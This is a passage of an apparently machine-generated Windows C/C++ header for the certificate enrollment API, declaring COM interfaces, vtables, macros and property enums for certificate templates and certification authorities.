IX509NameValuePairs_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509NameValuePairs_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509NameValuePairs_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509NameValuePairs_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509NameValuePairs_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509NameValuePairs_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509NameValuePairs_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509NameValuePairs_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define IX509NameValuePairs_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define IX509NameValuePairs_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define IX509NameValuePairs_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define IX509NameValuePairs_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define IX509NameValuePairs_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509NameValuePairs_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0067 */\n/* [local] */ \n\ntypedef \nenum EnrollmentTemplateProperty\n    {\n        TemplatePropCommonName\t= 1,\n        TemplatePropFriendlyName\t= 2,\n        TemplatePropEKUs\t= 3,\n        TemplatePropCryptoProviders\t= 4,\n        TemplatePropMajorRevision\t= 5,\n        TemplatePropDescription\t= 6,\n        TemplatePropKeySpec\t= 7,\n        TemplatePropSchemaVersion\t= 8,\n        TemplatePropMinorRevision\t= 9,\n        TemplatePropRASignatureCount\t= 10,\n        TemplatePropMinimumKeySize\t= 11,\n        TemplatePropOID\t= 12,\n        TemplatePropSupersede\t= 13,\n        TemplatePropRACertificatePolicies\t= 14,\n        TemplatePropRAEKUs\t= 15,\n        TemplatePropCertificatePolicies\t= 16,\n        TemplatePropV1ApplicationPolicy\t= 17,\n        TemplatePropAsymmetricAlgorithm\t= 18,\n        TemplatePropKeySecurityDescriptor\t= 19,\n        TemplatePropSymmetricAlgorithm\t= 20,\n        TemplatePropSymmetricKeyLength\t= 21,\n        TemplatePropHashAlgorithm\t= 22,\n        TemplatePropKeyUsage\t= 23,\n        TemplatePropEnrollmentFlags\t= 24,\n        TemplatePropSubjectNameFlags\t= 25,\n        TemplatePropPrivateKeyFlags\t= 26,\n        TemplatePropGeneralFlags\t= 27,\n        TemplatePropSecurityDescriptor\t= 28,\n        TemplatePropExtensions\t= 29,\n        TemplatePropValidityPeriod\t= 30,\n        TemplatePropRenewalPeriod\t= 31\n    } \tEnrollmentTemplateProperty;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0067_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0067_v0_0_s_ifspec;\n\n#ifndef __IX509CertificateTemplate_INTERFACE_DEFINED__\n#define __IX509CertificateTemplate_INTERFACE_DEFINED__\n\n/* interface IX509CertificateTemplate */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateTemplate;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"54244A13-555A-4e22-896D-1B0E52F76406\")\n    IX509CertificateTemplate : public IDispatch\n    {\n    public:\n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Property( \n            /* [in] */ enum EnrollmentTemplateProperty property,\n            /* [retval][out] */ __RPC__out VARIANT *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateTemplateVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateTemplate * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateTemplate * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateTemplate * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateTemplate * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateTemplate * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateTemplate * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateTemplate * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Property )( \n            __RPC__in IX509CertificateTemplate * This,\n            /* [in] */ enum EnrollmentTemplateProperty property,\n            /* [retval][out] */ __RPC__out VARIANT *pValue);\n        \n        END_INTERFACE\n    } IX509CertificateTemplateVtbl;\n\n    interface IX509CertificateTemplate\n    {\n        CONST_VTBL struct IX509CertificateTemplateVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateTemplate_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateTemplate_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateTemplate_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateTemplate_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateTemplate_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateTemplate_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateTemplate_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateTemplate_get_Property(This,property,pValue)\t\\\n    ( (This)->lpVtbl -> get_Property(This,property,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateTemplate_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509CertificateTemplates_INTERFACE_DEFINED__\n#define __IX509CertificateTemplates_INTERFACE_DEFINED__\n\n/* interface IX509CertificateTemplates */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateTemplates;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"13b79003-2181-11da-b2a4-000e7bbb2b09\")\n    IX509CertificateTemplates : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ItemByName( \n            /* [in] */ __RPC__in BSTR bstrName,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ItemByOid( \n            /* [in] */ __RPC__in_opt IObjectId *pOid,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateTemplatesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateTemplates * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateTemplates * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateTemplates * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateTemplates * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateTemplates * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateTemplates * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateTemplates * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in IX509CertificateTemplates * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **pVal);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in IX509CertificateTemplates * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in IX509CertificateTemplates * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in IX509CertificateTemplates * This,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in IX509CertificateTemplates * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in IX509CertificateTemplates * This);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByName )( \n            __RPC__in IX509CertificateTemplates * This,\n            /* [in] */ __RPC__in BSTR bstrName,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByOid )( \n            __RPC__in IX509CertificateTemplates * This,\n            /* [in] */ __RPC__in_opt IObjectId *pOid,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppValue);\n        \n        END_INTERFACE\n    } IX509CertificateTemplatesVtbl;\n\n    interface IX509CertificateTemplates\n    {\n        CONST_VTBL struct IX509CertificateTemplatesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateTemplates_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateTemplates_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateTemplates_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateTemplates_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateTemplates_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateTemplates_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateTemplates_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateTemplates_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define IX509CertificateTemplates_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define IX509CertificateTemplates_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define IX509CertificateTemplates_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define IX509CertificateTemplates_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define IX509CertificateTemplates_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#define IX509CertificateTemplates_get_ItemByName(This,bstrName,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ItemByName(This,bstrName,ppValue) ) \n\n#define IX509CertificateTemplates_get_ItemByOid(This,pOid,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ItemByOid(This,pOid,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateTemplates_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0069 */\n/* [local] */ \n\ntypedef \nenum CommitTemplateFlags\n    {\n        CommitFlagSaveTemplateGenerateOID\t= 1,\n        CommitFlagSaveTemplateUseCurrentOID\t= 2,\n        CommitFlagSaveTemplateOverwrite\t= 3,\n        CommitFlagDeleteTemplate\t= 4\n    } \tCommitTemplateFlags;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0069_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0069_v0_0_s_ifspec;\n\n#ifndef __IX509CertificateTemplateWritable_INTERFACE_DEFINED__\n#define __IX509CertificateTemplateWritable_INTERFACE_DEFINED__\n\n/* interface IX509CertificateTemplateWritable */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateTemplateWritable;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"F49466A7-395A-4e9e-B6E7-32B331600DC0\")\n    IX509CertificateTemplateWritable : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Commit( \n            /* [in] */ CommitTemplateFlags commitFlags,\n            /* [in] */ __RPC__in BSTR strServerContext) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Property( \n            /* [in] */ enum EnrollmentTemplateProperty property,\n            /* [retval][out] */ __RPC__out VARIANT *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Property( \n            /* [in] */ enum EnrollmentTemplateProperty property,\n            /* [in] */ VARIANT value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Template( \n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateTemplateWritableVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateTemplateWritable * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateTemplateWritable * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateTemplateWritable * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateTemplateWritable * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateTemplateWritable * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateTemplateWritable * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateTemplateWritable * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509CertificateTemplateWritable * This,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *Commit )( \n            __RPC__in IX509CertificateTemplateWritable * This,\n            /* [in] */ CommitTemplateFlags commitFlags,\n            /* [in] */ __RPC__in BSTR strServerContext);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Property )( \n            __RPC__in IX509CertificateTemplateWritable * This,\n            /* [in] */ enum EnrollmentTemplateProperty property,\n            /* [retval][out] */ __RPC__out VARIANT *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Property )( \n            __RPC__in IX509CertificateTemplateWritable * This,\n            /* [in] */ enum EnrollmentTemplateProperty property,\n            /* [in] */ VARIANT value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Template )( \n            __RPC__in IX509CertificateTemplateWritable * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppValue);\n        \n        END_INTERFACE\n    } IX509CertificateTemplateWritableVtbl;\n\n    interface IX509CertificateTemplateWritable\n    {\n        CONST_VTBL struct IX509CertificateTemplateWritableVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateTemplateWritable_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateTemplateWritable_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateTemplateWritable_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateTemplateWritable_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateTemplateWritable_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateTemplateWritable_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateTemplateWritable_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateTemplateWritable_Initialize(This,pValue)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pValue) ) \n\n#define IX509CertificateTemplateWritable_Commit(This,commitFlags,strServerContext)\t\\\n    ( (This)->lpVtbl -> Commit(This,commitFlags,strServerContext) ) \n\n#define IX509CertificateTemplateWritable_get_Property(This,property,pValue)\t\\\n    ( (This)->lpVtbl -> get_Property(This,property,pValue) ) \n\n#define IX509CertificateTemplateWritable_put_Property(This,property,value)\t\\\n    ( (This)->lpVtbl -> put_Property(This,property,value) ) \n\n#define IX509CertificateTemplateWritable_get_Template(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Template(This,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateTemplateWritable_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0070 */\n/* [local] */ \n\ntypedef \nenum EnrollmentCAProperty\n    {\n        CAPropCommonName\t= 1,\n        CAPropDistinguishedName\t= 2,\n        CAPropSanitizedName\t= 3,\n        CAPropSanitizedShortName\t= 4,\n        CAPropDNSName\t= 5,\n        CAPropCertificateTypes\t= 6,\n        CAPropCertificate\t= 7,\n        CAPropDescription\t= 8,\n        CAPropWebServers\t= 9,\n        CAPropSiteName\t= 10,\n        CAPropSecurity\t= 11,\n        CAPropRenewalOnly\t= 12\n    } \tEnrollmentCAProperty;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0070_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0070_v0_0_s_ifspec;\n\n#ifndef __ICertificationAuthority_INTERFACE_DEFINED__\n#define __ICertificationAuthority_INTERFACE_DEFINED__\n\n/* interface ICertificationAuthority */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertificationAuthority;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"835D1F61-1E95-4bc8-B4D3-976C42B968F7\")\n    ICertificationAuthority : public IDispatch\n    {\n    public:\n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Property( \n            /* [in] */ enum EnrollmentCAProperty property,\n            /* [retval][out] */ __RPC__out VARIANT *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertificationAuthorityVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertificationAuthority * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertificationAuthority * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertificationAuthority * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertificationAuthority * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertificationAuthority * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertificationAuthority * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertificationAuthority * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Property )( \n            __RPC__in ICertificationAuthority * This,\n            /* [in] */ enum EnrollmentCAProperty property,\n            /* [retval][out] */ __RPC__out VARIANT *pValue);\n        \n        END_INTERFACE\n    } ICertificationAuthorityVtbl;\n\n    interface ICertificationAuthority\n    {\n        CONST_VTBL struct ICertificationAuthorityVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertificationAuthority_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertificationAuthority_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertificationAuthority_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertificationAuthority_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertificationAuthority_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertificationAuthority_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertificationAuthority_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> 